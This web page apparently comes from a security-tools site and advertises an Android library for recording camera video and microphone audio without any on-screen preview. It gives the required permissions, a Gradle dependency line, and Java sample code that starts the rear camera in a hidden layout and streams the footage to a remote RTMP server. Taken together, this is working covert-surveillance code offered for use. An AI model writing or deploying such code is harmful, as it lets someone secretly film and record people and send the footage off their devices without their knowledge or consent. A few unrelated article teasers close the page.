LiveHiddenCamera is a library which record live video and audio from Android device without displaying a preview.
How to use ?
I’ve created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.
Also Read – Windows Hacks : Creative & Unusual Things That Can Be Done With The Windows API
Additionally you should care about:
Manifest.xml
:<uses-permission android:name=”android.permission.INTERNET” />
<uses-permission android:name=”android.permission.CAMERA” />
<uses-permission android:name=”android.permission.RECORD_AUDIO” />
<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />
Adding Library
The usage of the library is straight. Just add the following library to the gradle.build
file of your project.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest
.Before using the library, you should have deployed an Rtmp server. I’ve ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.
After starting the Ant Media Rtmp server, you should see something like this:
Sample Code
After adding the library to your project, do the following steps:
RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d(“HCL”, “Ask user to grant permission.”);
Log.e(“HCL”, ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView); mPublisher.setEncodeHandler(new SrsEncodeHandler(this)); mPublisher.setRtmpHandler(new RtmpHandler(this)); mPublisher.setRecordHandler(new SrsRecordHandler(this)); mPublisher.setPreviewResolution(640, 360); mPublisher.setOutputResolution(640, 360); mPublisher.setVideoHDMode(); mPublisher.startPublish(rtmpURL); mPublisher.startCamera();
}
Prompt injection is a type of security vulnerability that can be exploited to control the…
Firefly is an advanced black-box fuzzer and not just a standard asset discovery tool. Firefly…
Winit is a robust, cross-platform library designed for creating and managing windows in Rust applications.…
In today’s digital age, convenience often comes at the cost of security. One such overlooked…
Terminal GPT (tgpt) offers a seamless way to bring the power of ChatGPT 3.5 directly…
garak checks if an LLM can be made to fail in a way we don't…